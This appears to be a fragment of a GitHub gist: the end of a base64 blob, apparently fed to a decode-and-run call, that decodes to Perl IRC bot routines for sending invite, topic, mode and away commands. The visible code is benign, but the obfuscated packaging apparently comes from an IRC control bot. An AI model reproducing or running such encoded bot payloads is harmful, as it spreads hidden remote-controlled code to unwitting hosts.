N1YiBtb2RlIHsgbW9kbyhAXyk7IH0NCg0Kc3ViIGludml0ZSB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiSU5WSVRFICRfWzFdICRfWzBdIik7DQp9DQoNCnN1YiB0b3BpY28gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIlRPUElDICRfWzBdICRfWzFdIik7DQp9DQpzdWIgdG9waWMgeyB0b3BpY28oQF8pOyB9DQoNCnN1YiBhd2F5IHsNCiAgc2VuZHJhdygiQVdBWSAkX1swXSIpOw0KfQ0Kc3ViIGJhY2sgeyBhd2F5KCk7IH0NCg0KfQ0KDQojIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyBbIEVPRiBdICMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMj')); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment